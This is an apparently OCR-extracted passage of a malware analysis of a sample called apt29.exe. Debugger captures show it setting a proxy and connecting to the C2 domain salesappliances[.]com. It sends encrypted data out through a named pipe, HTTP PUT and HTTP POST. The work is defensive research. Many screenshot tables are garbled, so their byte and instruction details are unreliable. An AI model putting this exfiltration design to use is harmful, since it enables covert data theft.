| Address         He           0043C0A0         4D           0043C0B0         64           0043C0C0         35           0043C0D0         35           0043C0E0         65           0043C0F0         65           0043C100         53 | EX         6F         7A         69         6C         6           4         6F         77         73         20         4           5         34         29         20         41         7           5         34         29         20         41         7           5         34         29         20         41         7           6         86         65         20         47         6           2         24         34         7         26         33           3         61         66         61         72         6 | C 61 2F 35 2E 30<br>E 54 20 36 2E 31 3<br>O 70 6C 65 57 65 6<br>6 20 28 4B 46 54 4<br>5 63 6B 6F 29 20<br>0 2E 32 35 32 36 2<br>9 2F 35 33 37 2E 3 | 28         57         69         68           18         20         57         4F         57           24         869         74         2F           10         4C         2C         20         6C           16         72         6F         6D         6E         31         31         20           12         36         72         6F         6D         00         00         00 | ASCII<br>Mozilla/5.0<br>dows NT 6.1;<br>64) Appleweb<br>537.36 (KHTM<br>ike Gecko) C<br>e/47.0.2526.<br>Safari/537.3 | (win<br>WOW<br>Kit/<br>L, 1<br>hrom<br>111<br>6              |                           | 049095     049095     049095     049095     049095     049095     049095     049095     049095     049095     049095     049095     049095 | 70 000<br>74 000<br>78 000<br>70 028<br>30 000<br>34 028<br>38 028<br>36 000<br>36 000 | 00000<br>00000<br>00000<br>70000<br>758E0<br>70000<br>00000 |   |   |       |                                 |                            |

#### Figure 23

The proxy is set to 10.1.1.1:8080 using the InternetSetOptionA function (0x26 = **INTERNET\_OPTION\_PROXY**):

| 00413CF4     C7 44 24 0C 0C 00 00 00     00413CF5     BD 55 D8     00413CFF     95 54 24 08     00413D0B 85 94 24     04 26 00 00 00     00413D0B 80 94 24 | <pre>mov dword ptr ss:[esp+c],c lea edx,dword ptr ss:[esp+2],edx mov dword ptr ss:[esp+4],a6 mov dword ptr ss:[esp+4],a6 mov dword ptr ss:[esp],aax</pre> | 0C: '\f<br>26: '&'                           | x875katusWord 0000<br>x875W_B 0 x875W_C3 0 x875W_C2 0<br>x875W_C10 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0 |
|--|---|--|--|
|  | Call ecx  | ecx:1r v                                     | Default (stdcall) 🔻 5 💠 🗌 Unlock   |
| ecx==wininet.InternetSetOptionA> (71724C70)<br>.text:00413D0E apt29.exe:\$13D0E #1310E   |   |  | 1: [esp] 00CC0004<br>2: [esp+4] 00000026<br>3: [esp+8] 049C9748<br>4: [esp+C] 0000000C                                     |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump Dump 4   | 5 🛞 Watch 1 🛛 🕸 Locals 🖉 Struct   | 049C9568 00C<br>049C956C 000                 | C0004<br>00026   |
| Address Hex<br>049C9748 03 00 00 00 24 C2 43 00 40 97 9C 04 1E 00 00   | ASCII<br>00\$ÀC.@   | 049C9570 049<br>049C9574 000<br>049C9575 000 | C9748<br>0000C   |

#### Figure 24

The connect time-out value for connection requests is set to 11 seconds (0x2 = **INTERNET\_OPTION\_CONNECT\_TIMEOUT**):

| 00413D44     00413D44     00413D44     00413D4C     0043D4C     0043D47     8954     4     00413D53     7424     00413D58     8904     24 | 0C 04 00 00 00<br>08<br>04 02 00 00 00<br>04 02 00 00 00<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr | ss: esp+C ,4<br>ptr ss: ebp-34<br>ss: esp-81,edx<br>ss: esp-4 ,2<br>ss: esp.ex |                                | X8/54ALUSWOF0 0000<br>X875W_B 0 X875W_C3 0 X875W_C2 0<br>X875W_C1 0 X875W_C0 0 X875W_E5 0<br>X875W_SF 0 X875W_P 0 X875W_U 0 |
|---|---|--|--------------------------------|---|
| EIP 00413D5E FF D1  | call ecx  |  | ecx:Ir v                       | Default (stdsall)   |
| <   |   |  | >                              | 1: [esp] 0000004  |
| <pre>ecx=<wininet.internetsetoptiona> (7172<br/>.text:00413D5E apt29.exe:\$13D5E #1315E</wininet.internetsetoptiona></pre>                | 24C70)<br>E   |  |                                | 2: [esp+4] 0000002<br>3: [esp+8] 0490973C<br>4: [esp+C] 00000004  |
| Ump 1 Ump 2 Ump 3 Um  | Dump 4 🗰 Dump 5 💮 Watch 1   | Ix=I Locals 🌮 Struct   | 049C9568 00C0<br>049C956C 0000 | 0004  |
| Address   Hex   | ASCII   | ^  | 04909570 0490                  | 1973C   |
| 049C973C F8 2A 00 00 3C 6C 6F 63 61 6C  | C 3E 00 03 00 00 00 00 0° <local>.</local>  | ****   | 04909574 0000                  | 00004   |
| E. 0E   |   |  |                                |   |

The receive time-out value for connection requests is set to 11 seconds (0x6 = INTERNET\_OPTION\_RECEIVE\_TIMEOUT):

|  | 00413091<br>00413095    | 89 54 24 08                     | 5 00 00 00    | nov dword pt         | ss: esp+   | edx    |       |           | X875W_C1 0                             | x875W_C0                         | 0 x875W_ES | 0 |           |
|--|-------------------------|---------------------------------|---------------|----------------------|------------|--------|-------|-----------|--|----------------------------------|------------|---|-----------|
|  | • 00413D9D              | 89 04 24                        | 1 00 00 00    | nov dword pt         | ss:[esp]   | eax    |       |           | AGT SH_SF G                            | X07 54_7                         | 0 x0/31_0  |   |           |
| EIP  | →• <u>00413DA0</u><br>< | FF D1                           |               | all ecx              |            |        |       | ecx:Ir ~  | Default (stdcal                        | )                                |            | 5 | 🗘 🗌 Unloc |
| ecx= <winine< th=""><th>DAO apt29.exe:\$1</th><th>ionA&gt; (71724C70)<br/>3DA0 #131A0</th><th>8</th><th></th><th></th><th></th><th></th><th></th><th>2: [esp+4]<br/>3: [esp+8]<br/>4: [esp+C]</th><th>00000006<br/>049C973C<br/>00000004</th><th></th><th></th><th></th></winine<> | DAO apt29.exe:\$1       | ionA> (71724C70)<br>3DA0 #131A0 | 8             |                      |            |        |       |           | 2: [esp+4]<br>3: [esp+8]<br>4: [esp+C] | 00000006<br>049C973C<br>00000004 |            |   |           |
| Dump 1   | Dump 2                  | Dump 3 Ump 4                    | Dump 5        | 💮 Watch 1            | x=  Locals | Struct | 049   | C9568 00C | C0004<br>00006                         |                                  |            |   |           |
| Address   H  | ex                      |                                 |               | ASCII                | 1          |        | A 049 | C9570 049 | C973C                                  |                                  |            |   |           |
| 049C973C F   | 2A 00 00 3C 6C          | 6F 63 61 6C 3E 0                | 0 03 00 00 00 | g°., <local></local> |            |        | 049   | C9578 000 | 00004                                  |                                  |            |   |           |

#### Figure 26

The send time-out value for connection requests is set to 11 seconds (0x5 = INTERNET\_OPTION\_SEND\_TIMEOUT):

|   | <ul> <li>00413DC8</li> <li>00413DD0</li> <li>00413DD3</li> <li>00413DD7</li> <li>00413DDF</li> </ul> | C7 44 24 0C 04 00 00<br>8D 55 CC<br>89 54 24 08<br>C7 44 24 04 05 00 00<br>89 04 24 | <pre>00 mov dword ptr ss:[esp+C],<br/>lea edx,dword ptr ss:[esp+6],<br/>mov dword ptr ss:[esp+6],<br/>mov dword ptr ss:[esp+4],<br/>mov dword ptr ss:[esp+4],</pre> | 4<br>-34]<br>edx<br>5<br>x |                                | x87StatusWord 0000<br>x87SW_B 0 x87SW_C3 0<br>x87SW_C1 0 x87SW_C0 0<br>x87SW_SF 0 x87SW_P 0 | x87SW_C2 0<br>x87SW_ES 0<br>x87SW_U 0 |
|---|--|---|---|----------------------------|--------------------------------|---|---------------------------------------|
| EIP   | 004518DE2  | FF D1   | call ecx  |                            | ecx:Ir v                       | Default (stdcall)   | 🔻 💈 🖨 Unlock                          |
| ecx= <winine< td=""><td>et.InternetSetOpt<br/>3DE2 apt29.exe:\$1</td><td>ionA&gt; (71724C70)<br/>3DE2 #131E2</td><td></td><td></td><td></td><td>1: [esp] 00CC0004<br/>2: [esp+4] 00000005<br/>3: [esp+8] 049C973C<br/>4: [esp+C] 00000004</td><td></td></winine<> | et.InternetSetOpt<br>3DE2 apt29.exe:\$1  | ionA> (71724C70)<br>3DE2 #131E2   |   |                            |                                | 1: [esp] 00CC0004<br>2: [esp+4] 00000005<br>3: [esp+8] 049C973C<br>4: [esp+C] 00000004      |                                       |
| Dump 1  | Dump 2   | Dump 3 💭 Dump 4 💭 D   | ump 5   🛞 Watch 1 🛛 🕅 🖁 🖁   | Struct                     | 049C9568 00C0<br>049C956C 0000 | C0004<br>00005  |                                       |
| Address H   | ex<br>8 2A 00 00 3C 6C   | 6F 63 61 6C 3E 00 03 00   | ASCII   | ^                          | 049C9570 0490<br>049C9574 0000 | C973C<br>00004  |                                       |

# Figure 27

InternetConnnectA is utilized to open an HTTP session with the C2 server salesappliances[.]com (0x3 = INTERNET\_SERVICE\_HTTP):

|  | 0 00 00 00 00 mov dword ptr ss: esp=10<br>0 00 00 00 00 mov dword ptr ss: esp=13<br>3 00 00 00 00 mov dword ptr ss: esp=14<br>0 00 00 00 mov dword ptr ss: esp=10<br>0 00 00 00 mov dword ptr ss: esp=10<br>FFFF lea edx,dword ptr ss: esp=1, esp<br>mov dword ptr ss: esp=1, esp  | 0<br>3<br>3<br>3<br>4<br>4<br>4<br>4<br>4<br>2<br>5<br>5<br>4<br>5<br>5<br>5<br>5<br>5<br>5<br>5<br>5<br>5<br>5<br>5 | A0/Im_2 5 (Empty)<br>X87TW_6 3 (Empty) X87TW_5 3 (Empty)<br>X87TW_6 3 (Empty) X87TW_7 3 (Empty)<br>X87StatusWord 0000<br>X87SW_5 0 X87SW_5 0 0 X87SW_5 0<br>X87SW_5 0 X87SW_5 0 0 0<br>X87SW_5 0 X87SW_5 0<br>X87SW_5 0<br>X8 |
|--|--|--|--|
| •  |  |  | Default (stdcall) 🔹 5 💠 🗌 Unlock   |
| <pre>ecx=<wininet.internetconnecta> (71775490) .text:00413E65 apt29.exe:\$13E65 #13265</wininet.internetconnecta></pre>  |  |  | 2: [esp+4] 049C963C "salesappliances.com"<br>3: [esp+8] 00000050<br>4: [esp+C] 00000000  |
| Dump 1 Dump 2 Dump 3 Dump 3  | 4 🕮 Dump 5 🥮 Watch 1 💷 Locals 🐉  | Struct 049C9568 000<br>049C956C 049  | CC0004<br>9C963C "salesappliances.com"   |
| Address         Hex           049C973C         FB         2A         00         00         3C         6C         6F         63         61         6C         3E           049C974C         24         62         43         00         40         97         9C         04         01         00         00           049C975C         00         00         00         90         97         9C         04         00         00         00         049         97         9C         04         00         00         00         049         97         9C         04         00         00         00         00         00         97         9C         04         00         00         00         00         00         00         00         00         00         00         00         00         01         00 | ASCII           00         03         00 | 04909570 000<br>04909574 00<br>04909578 00<br>04909578 00<br>04909576 00<br>04909580 00<br>04909580 00               | 000050<br>000000<br>000000<br>000000<br>000000<br>000000   |

# Figure 28

The malware implements 3 different cases for exfiltrating the buffer that was encrypted earlier (or outputs from backdoor functions), depending on the availability of Internet connectivity.

# Case 1 (no Internet availability)

WaitNamedPipeA is used to wait until 11 seconds have elapsed or an instance of the "\\pipe\DefPipe" pipe is available for connection (this pipe is supposed to be utilized between this machine and another machine that has an Internet connection):

|  | • 00418D81<br>• 00418D85       | 89 5-<br>89 0- | 4 24 0 <b>4</b><br>4 24 |        | mov dword p<br>mov dword p | tr ss: esp+<br>tr ss: esp | 4],edx<br>,eax | [esp]:     |      | x875W_SF 0 x875W_P  | 0 x87SW_U   | 0            |
|--|--------------------------------|----------------|-------------------------|--------|----------------------------|---------------------------|----------------|------------|------|---|-------------|--------------|
|  | <                              | E8 0:          | S SF FF FF              |        | Carr Capt29                | .waitNamedP               | IpeA>          | >          | Ŭ,   | Default (stdcall)<br>1: [esp] 04999B17 "\\                        | <pre></pre> | 5 😫 🗌 Unlock |
| <apt29.wait<br>.text:00418</apt29.wait<br> | :NamedPipeA><br>D88 apt29.exe: | \$18D88 #1     | B188                    |        |                            |                           |                |            |      | 2: [esp+4] 00002AF8<br>3: [esp+8] 00000050<br>4: [esp+C] 00000000 |             |              |
| Ump 1                                      | Dump 2                         | Dump 3         | Dump 4                  | Dump 5 | 🛞 Watch 1                  | [x=] Locals               | Struct         | 04999568 0 | 4999 | 2AF8 "\\\\\pipe\\De   | fPipe"      |              |

The process opens the specified pipe using the CreateFileA routine (0xC0000000 = **GENERIC\_READ** | **GENERIC\_WRITE**, 0x3 = **OPEN\_EXISTING**):

| 0041BD96 C7 4<br>0041BD9E C7 4<br>0041BDA6 C7 4<br>0041BDA6 C7 4<br>0041BDA6 C7 4<br>0041BDB6 C7 4<br>0041BDB6 C7 4<br>0041BDB6 C7 4<br>0041BD6 S9 0  | 44         24         18         00         00         00         00           44         24         14         00         00         00         00           44         24         10         03         00         00         00           44         24         06         00         00         00         04           44         24         08         00         00         00         00           44         24         08         00         00         00         00           44         24         08         00         00         00         00           44         24         08         00         00         00         00           44         24         04         00         00         00         C0           04         24         04         00         00         C0         00 | <pre>mov dword ptr ss: esp+18 ,0 mov dword ptr ss: esp+14 ,0 mov dword ptr ss: esp+10 ,3 mov dword ptr ss: esp+0 ,3 mov dword ptr ss: esp+6 ,0 mov dword ptr ss: esp+8 ,0 mov dword ptr ss: esp+4 ,C000000 mov dword ptr ss: esp-4 ,C000000</pre> | [esp]:  | x0/1m_0 5 (EmpLy) x0/1m_/ 5 (EmpLy)<br>x875KatusWord 0000<br>x875W_8 0 x875W_C3 0 x875W_C2 0<br>x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_5F 0 x875W_P 0 x875W_U 0 |
|---|---|---|---|--|
|   | AA AD FF FF   | call <apt29.createfilea></apt29.createfilea>  | ×   | Default (stdcall)  |
| <apt29.createfilea> .text:0041BDC9 apt29.exe:\$1BDC9 #</apt29.createfilea>  | 181C9   |   |   | 1: [esp+4] C0000000<br>3: [esp+6] C0000000<br>4: [esp+6] 00000000<br>4: [esp+6] 00000000   |
| Dump 1 Dump 2 Dump 3  | Dump 4 Dump 5   | 🛞 Watch 1 🛛 💷 Locals 🎾 Struct   | 04999568 0499<br>0499956C C000  | 99817 "\\\\\p1pe\\DefP1pe"   |
| Address Hex<br>76FE1000 1C 00 1E 00 00 DE FE 76<br>76FE1010 34 00 36 00 9C DD FE 76<br>76FE1020 1A 00 1C 00 90 00 FE 76<br>76FE1020 1A 00 1C 00 1C 00 90 00 FE 76<br>76FE1020 1A 00 1C 00 1C 00 90 00 FE 76<br>76FE1020 1A 00 1C 00 90 90 90 00 FE 76<br>76FE1020 1A 00 1C 00 90 90 90 90 90 90 90 90 90 90 90 90 | 28 00 2A 00 D4 DD FE 76<br>1E 00 20 00 7C DD FE 76<br>18 00 1A 00 44 DD FE 76   | ASCII   | 04999570 0000<br>04999574 0000<br>04999578 0000<br>0499957C 0000<br>04999580 0000 | 0000<br>0003<br>0000<br>0000   |
| Figure 30   |   |   |   |  |

SetNamedPipeHandleState is utilized to set the read mode and the blocking mode of the pipe mentioned above (0x2 = **PIPE\_READMODE\_MESSAGE**, 0x0 = **PIPE\_WAIT**):

|  | <ul> <li>0041BDEE</li> <li>0041BDF6</li> <li>0041BDFE</li> <li>0041BE04</li> <li>0041BE08</li> <li>0041BE08</li> </ul> | C7 44 24 0C 00 00<br>C7 44 24 08 00 00<br>8D 85 64 FF FF FF<br>89 44 24 04<br>8B 45 80<br>89 04 24 | 00 00 mov dword pt<br>00 00 mov dword pt<br>1ea eax,dwor<br>mov dword pt<br>mov eax,dwor<br>mov dword pt | r ss: esp+C ,0<br>r ss: esp+8 ,0<br>d ptr ss: esp-9C<br>r ss: esp+4 ,eax<br>d ptr ss: esp=80<br>r ss: esp ,eax |                                    |       | x87StatusWord 0000<br>x87SW_B 0 x87SW_C3<br>x87SW_C1 0 x87SW_C0<br>x87SW_SF 0 x87SW_P | 0 x87SW_C2 0<br>0 x87SW_ES 0<br>0 x87SW_U 0 |            |
|--|--|--|--|--|------------------------------------|-------|---|---|------------|
| EIN  | <  | ES CI // FF FF   | Carr Kapt29.   | servaneuripenandiestates   | >                                  | Ť.    | efault (stdcall)  | •   | 🗘 🗌 Unlock |
| <apt29.set <="" td=""><td>NamedPipeHandleSt<br/>BEOE apt29.exe:\$1</td><td>ate&gt;<br/>BEOE #1820E</td><td></td><td></td><td></td><td></td><td>1: [esp+4] 04999694<br/>2: [esp+8] 0000000<br/>4: [esp+8] 0000000<br/>4: [esp+C] 0000000</td><td></td><td></td></apt29.set> | NamedPipeHandleSt<br>BEOE apt29.exe:\$1  | ate><br>BEOE #1820E  |  |  |                                    |       | 1: [esp+4] 04999694<br>2: [esp+8] 0000000<br>4: [esp+8] 0000000<br>4: [esp+C] 0000000 |   |            |
| Ump 1  | Ump 2  | Dump 3 📲 Dump 4  | Dump 5 💮 Watch 1   | x=  Locals 🖉 Struct  | 04999568                           | 00001 | 234   |   |            |
| Address   H  | ex<br>2 00 00 00 00 00 00  | 00 00 01 00 00 00 00   | ASCII  |  | A 04999570<br>04999574<br>04999578 |       | 0000  |   |            |

# Figure 31

The binary writes the encrypted buffer to the specified pipe using the TransactNamedPipe API:

| <pre></pre>  | <pre>nov dword ptr ss: esp=10,0 lea edx,word ptr ss: esp=10,edx mov dword ptr ss: esp=10,edx mov dword ptr ss: esp=10,400 mov dword ptr ss: esp=10,400 mov dax,word ptr ss: esp=40,eax mov dword ptr ss: esp=40,eax mov dwo</pre> | x87TW_0 3 (Empty)     x87TW_1 3 (Empty)       x87TW_2 3 (Empty)     x87TW_3 3 (Empty)       x87TW_4 3 (Empty)     x87TW_5 3 (Empty)       x87TW_6 3 (Empty)     x87TW_7 3 (Empty)       x87TW_6 3 (Empty)     x87TW_7 3 (Empty)       x87Statusword 0000     x87SW_C3 0 x87SW_C2 0       x87Sw_10 0 x87SW_C3 0 x87SW_C2 0     x87SW_55W_5 0       x87SW_5 0 x87SW_P 0 x87SW_U 0     x87SW_5 0       Default (stdcal)     ▼ 5 © Unlock       1: [esp1] 000001284     1: [esp-4] 000F05F0       3: [esp+4] 000F05F0     3: [esp+4] 000F05F0 |
|--|--|---|
| .text:00418E53 apt29.exe:\$18E53 #18253  |  |   |
| Image: Constraint of the state of | Watch 1         [x=]Locals         Struct         04395563         00           ASCII         0         1.860(*.As.0x.0x)         0         0.4935570         00           0         1.860(*.As.0x.0x)         0         0.4935570         00         0.4935570         00           0         1.860(*.As.0x.0x)         0.4935570         00         0.49355770         00           0         1.970(*.As.0x.0x)         0.4935575         00         0.493557570         00           0         0.1970(*.As.0x,0x)         0.4935575         00         0.493557570         00           0         0.1970(*.As.0x,0x)         0.4935575         00         0.493557570         00           0         0.4935570         0.04393570         00         0.49395570         00           0         0.4935570         0.04393570         00         0.4939570         00           0         0.4935580         0.04393570         0.04393570         00         0.4939570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570         0.04393570  | 001234<br>06705F0<br>00001E<br>1001C8<br>0000400<br>199968C<br>0000000  |

#### Figure 32

# Case 2 (Data exfiltration using PUT method)

A new HTTP request handle is created by the file (0x80400100 = INTERNET\_FLAG\_RELOAD | INTERNET\_FLAG\_KEEP\_CONNECTION | INTERNET\_FLAG\_PRAGMA\_NOCACHE):

| <ul> <li>00415D7D</li> <li>C7 44 24 1C 00</li> <li>00415D85</li> <li>C7 44 24 18 00</li> <li>00415D85</li> <li>C7 44 24 14 00</li> <li>00415D85</li> <li>C7 44 24 10 00</li> <li>00415D85</li> <li>C7 44 24 10 00</li> <li>00415D85</li> <li>C7 44 24 02 00</li> <li>00415D85</li> <li>C7 44 24 08</li> <li>00415D85</li> <li>C7 44 24 04 44</li> <li>00415D85</li> <li>C7 44 24 04 44</li> </ul>   | 0 00 00 00 mov dword ptr ss: espit0, 000000<br>0 14 00 80 mov dword ptr ss: espit0, 000000<br>0 22 43 00 mov dword ptr ss: espit0, 00000<br>0 00 00 00 mov dword ptr ss: espit0, 0<br>0 00 00 00 mov dword ptr ss: espit0, 0<br>mov dword ptr ss: espit0, 0<br>mov dword ptr ss: espit0, 0<br>mov dword ptr ss: espit0, 40<br>4 13 44 00 mov dword ptr ss: espit0, 441344<br>mov dword ptr ss: espit0, apt29, 441344 | [word x875x_6 v x875x_7 v x875x_7 v x875x_5 v x875x_6 v |
|---|--|---|
|   | Call ecx   | Default (stdcall)   |
| <pre>ecx=<wininet.httpopenrequesta> (71775BA0) .text:00415DB4 apt29.exe:\$15DB4 #151B4</wininet.httpopenrequesta></pre>   |  | 2: [esp+3] 044244 "PUT"<br>3: [esp+8] 044344 "PUT"<br>3: [esp+6] 0443298<br>4: [esp+6] 00000000   |
| Ump 1 Ump 2 Ump 3 Ump 4   | 🕴 👹 Dump 5 👹 Watch 1 🛛 🕼 Ix=l Locals 🎾 Struct  | 04A49588 00CC0008<br>04A4958C 00441344 "PUT"  |
| Address Hex   | ASCII  | 04A49590 04A49C9B   |
| 76FE1000         1C         00         1E         01         00         DE         FE         76         12         00         2A         0           76FE1010         34         00         36         00         SC         DD         FE         76         1E         00         20         0           76FE1020         1A         00         1C         00         60         DD         FE         76         18         00         1A         0         76         76         12         00         1A         00         1C         00         60         DD         FE         76         18         00         1A         00         1A         00         1A         00         20         0D         DE         76         18         00         1A         00 | 00 D4 DD FE 76 0 Pbv(.*. 0'Ybv<br>00 7 <u>C DD FE 76</u> 4.6. Ybv 1Ybv<br>0 44 DD FE 76 Ybv DYbv<br>0 EC DC FE 76 Ybv0.2. Ybv  | 04449598 00000000<br>04449598 0043C240 &"text/html"<br>044495A0 80400100<br>044495A4 00000000   |

The Referer header is added to the HTTP request handle using HttpAddRequestHeadersA (0x20000000 = HTTP\_ADDREQ\_FLAG\_ADD):

|  | <ul> <li>0041CABE</li> <li>0041CAC6</li> <li>0041CACE</li> <li>0041CAD4</li> <li>0041CAD8</li> <li>0041CAD8</li> </ul> | C7 44 24 0C 00 0<br>C7 44 24 08 FF F<br>8D 85 F4 F3 FF F<br>89 44 24 04<br>8B 45 08<br>89 04 24 | 00 00 20<br>FFFFFF<br>FFFFF<br>Tea.eax,dwo<br>mov dword p<br>mov dword p<br>mov dword p<br>mov dword p<br>mov dword p | tr ss: esp<br>tr ss: esp<br>d ptr ss:<br>tr ss: esp<br>d ptr ss:<br>tr ss: esp | C 2000000<br>8 FFFFFFF<br>ebp-CoC<br>4 eax<br>ebp+8<br>,eax |            | [esp+4                 | x87State<br>x87SW_B<br>x87SW_C1<br>x87SW_SF  | usword 0000<br>0 x87SW_C3<br>L 0 x87SW_C0<br>5 0 x87SW_P | 0 x875W_C2<br>0 x875W_E5<br>0 x875W_U | 2 0<br>5 0<br>0            |        |
|--|--|---|---|--|---|------------|------------------------|--|--|---------------------------------------|----------------------------|--------|
| (115)  | 0041CADE   | FF D2   | call edx  |  |   |            | edx:Ht v               | Default (std                                 | call)  |                                       | • 5 🗘 🗆                    | Unlock |
| edx= <winine< th=""><th>ADE apt29.exe:\$1</th><th>HeadersA&gt; (716FEAA<br/>CADE #1BEDE</th><th>0)</th><th></th><th></th><th></th><th></th><th>1: [esp]<br/>2: [esp+<br/>3: [esp+<br/>4: [esp+</th><th>00CC000C<br/>4] 04A48974 "<br/>8] FFFFFFF<br/>C] 20000000</th><th>Referer: htt</th><th>p://salesap</th><th>pplia</th></winine<> | ADE apt29.exe:\$1  | HeadersA> (716FEAA<br>CADE #1BEDE   | 0)  |  |   |            |                        | 1: [esp]<br>2: [esp+<br>3: [esp+<br>4: [esp+ | 00CC000C<br>4] 04A48974 "<br>8] FFFFFFF<br>C] 20000000   | Referer: htt                          | p://salesap                | pplia  |
| Ump 1  | Dump 2   | Dump 3 📲 Dump 4   | 📖 Dump 5 🛛 🛞 Watch 1  | x=  Locals   | 2 Struct  | 04A<br>04A | 48848 00C              | C000C<br>48974 "Re                           | ferer: http:/  | /salesapplia                          | nces.com/ed                | ok=o   |
| Address He   | ex   |   | ASCII   |  |   | ^ 04A      | 48850 FFF<br>48854 200 | FFFFF<br>00000                               |  |                                       |                            |        |
| 04A48974 5<br>04A48984 7<br>04A48994 6   | 65 66 65 72 65<br>61 6C 65 73 61<br>6F 6D 2F 65 6F   | 72 3A 20 68 74 74<br>70 70 6C 69 61 6E<br>6B 3D 6F 74 65 6F                                     | 70 3A 2F 2F Referer: h<br>63 65 73 2E salesappli<br>78 72 00 02 com/eok=ot  | ttp://<br>ances.<br>eoxr   |   | 04A<br>04A | 48858 770<br>4885C 770 | 6915A ret<br>18987 ret                       | urn to ntdll.<br>urn to ntdll.                           | 7706915A fro<br>77018987 fro          | m ntdll.770<br>m ntdll.770 | 05084  |

# Figure 34

The Accept-Language header is added to the HTTP request handle using HttpAddRequestHeadersA (0x20000000 = HTTP\_ADDREQ\_FLAG\_ADD):

|  | <ul> <li>0041CB1E</li> <li>0041CB26</li> <li>0041CB2E</li> <li>0041CB34</li> <li>0041CB38</li> <li>0041CB38</li> </ul> | C7 44 24 0C 00 00 00 20<br>C7 44 24 08 FF FF FF<br>SD 85 F4 FB FF FF<br>89 44 24 04<br>88 45 08<br>89 04 24 | <pre>mov dword ptr ss: esp+C ,200000 mov dword ptr ss: esp+8, FFFFFF lea eax, dword ptr ss: esp+4, eax mov dword ptr ss: esp+4, eax mov dword ptr ss: esp, eax</pre> | 00<br>FF<br>[esp+4             | X875tatusword 0000<br>X875W_B 0 X875W_C3 0 X875W_C2 0<br>X875W_C1 0 X875W_C0 0 X875W_E5 0<br>X875W_SF 0 X875W_P 0 X875W_U 0 |
|--|--|---|--|--------------------------------|---|
| EIP  | 0041CB3E   | FF D2   | call edx   | edx:Ht v                       | Default (stdcall) - 5 🗘 Unloc   |
| edx= <winine< th=""><th>et.HttpAddReques</th><th>tHeadersA&gt; (716FEAAO)<br/>1CB3E #18F3E</th><th></th><th></th><th>1: [esp] 00CC000C<br/>2: [esp+4] 04A49174 "Accept-Language: en-US,en"<br/>3: [esp+8] FFFFFFF<br/>4: [esp+C] 20000000</th></winine<> | et.HttpAddReques   | tHeadersA> (716FEAAO)<br>1CB3E #18F3E   |  |                                | 1: [esp] 00CC000C<br>2: [esp+4] 04A49174 "Accept-Language: en-US,en"<br>3: [esp+8] FFFFFFF<br>4: [esp+C] 20000000           |
| Dump 1   | Dump 2   | Dump 3 👹 Dump 4 👹 Dump  | 5 🛞 Watch 1 🛛 🕅 🖉 Struc  | t 04A48848 0000                | COOOC<br>49174 "Accept-Language: en-US,en"  |
| Address He   | ex   |   | ASCII  | A 04A48850 FFF<br>04A48854 200 | FFFF  |

# Figure 35

The Accept-Encoding header is added to the HTTP request handle using HttpAddRequestHeadersA (0x20000000 = HTTP\_ADDREQ\_FLAG\_ADD):



# Figure 36

The process exfiltrates the encrypted buffer to the C2 server by calling the HttpSendRequestA routine, as shown below:

|              | <ul> <li>00415E26</li> <li>00415E2A</li> <li>00415E2D</li> <li>00415E31</li> <li>00415E39</li> <li>00415E41</li> </ul> | 89 54 24 10<br>88 55 08<br>89 54 24 0C<br>C7 44 24 08 FF FF FF<br>C7 44 24 04 48 13 44<br>89 04 24 | mov dword ptr ss: Lesp<br>mov edx, dword ptr ss:<br>prov dword ptr ss: Lesp<br>mov dword ptr ss: Lesp<br>mov dword ptr ss: Lesp<br>mov dword ptr ss: Lesp<br>mov dword ptr ss: Lesp | +10],edx<br>[ebp+8]<br>>+C],edx<br>>+8],FFFFFFF<br>+4],apt29.441348<br>],eax | [word                        | x875tatusword 0000<br>x875w_B 0 x875w_C3 0 x875w_C2 0<br>x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_SF 0 x875w_P 0 x875w_U 0 |
|--------------|--|--|---|--|------------------------------|---|
| EIP          |  | FF D1  | call ecx  |  | ecx:Ht v                     |   |
|              | * <  |  |   |  | >                            |   |
| .text:0041   | SE44 apt29.exe:\$1   | tA> (71739730)<br>5E44 #15244  |   |  |                              | 2: [esp+4] 00441348 "Content-Type: application/c<br>3: [esp+8] FFFFFFF<br>4: [esp+C] 028B05F0                               |
| Dump 1       | Dump 2   | Dump 3 💷 Dump 4 💷  | Dump 5 💮 Watch 1 🛛 🕅 Locals   | s 🦻 Struct   | 04A49588 00C<br>04A4958C 004 | C000C<br>41348 "Content-Type: application/octet-stream"   |
| Address   H  | lex  |  | ASCII   |  | 04A49590 FFF                 | FFFFF   |
| 028805F0 5   | S EC EC 55 CE D1   | 90 58 80 BA A2 A3 3E 3   | A AO CF UNUIN.X. * E>: 1  |  | 04A49594 028<br>04A49598 000 | 0001E   |
| 02880600 [[6 | AT TE OL BS 4C   | DO DO LO DO SU UL AL A   | 00 00 ag. npcrozoj.~g   |  | 0.43.495.97 004              | 2/240 A"tavt /html"   |
|              |  |  |   |  |                              |   |

# Case 3 (Data exfiltration using POST method)

A new HTTP request handle is created by the file (0x80400100 =

# INTERNET\_FLAG\_RELOAD | INTERNET\_FLAG\_KEEP\_CONNECTION | INTERNET\_FLAG\_PRAGMA\_NOCACHE):



#### Figure 38

The Referer header is added to the HTTP request handle using HttpAddRequestHeadersA (0x20000000 = HTTP\_ADDREQ\_FLAG\_ADD):

|  | <ul> <li>0041CABE</li> <li>0041CAC6</li> <li>0041CAC6</li> <li>0041CAD4</li> <li>0041CAD8</li> <li>0041CAD8</li> </ul> | C7 44 24 0C 0<br>C7 44 24 08 F<br>8D 85 F4 F3 F<br>89 44 24 04<br>88 45 08<br>89 04 24 | 0 00 00 20<br>F FF FF FF<br>F FF | mov dword ptr<br>mov dword ptr<br>lea eax,dword<br>mov dword ptr<br>mov eax,dword<br>mov dword ptr | ss: esp+<br>ss: esp+<br>ptr ss:<br>ss: esp+<br>ptr ss:<br>ptr ss:<br>ss: esp | c,20000000<br>8,FFFFFFF<br>ebp-COC<br>4,eax<br>ebp+8<br>,eax |   | [esp+4                                    | x87<br>x87<br>x87<br>x87 | StatusWord 0000<br>SW_B 0 x87SW_C3<br>SW_C1 0 x87SW_C0<br>SW_SF 0 x87SW_P   | 0 x875W_C2<br>0 x875W_E5<br>0 x875W_U | 0<br>0<br>0    |
|--|--|--|----------------------------------|--|--|--|---|---|--------------------------|---|---------------------------------------|----------------|
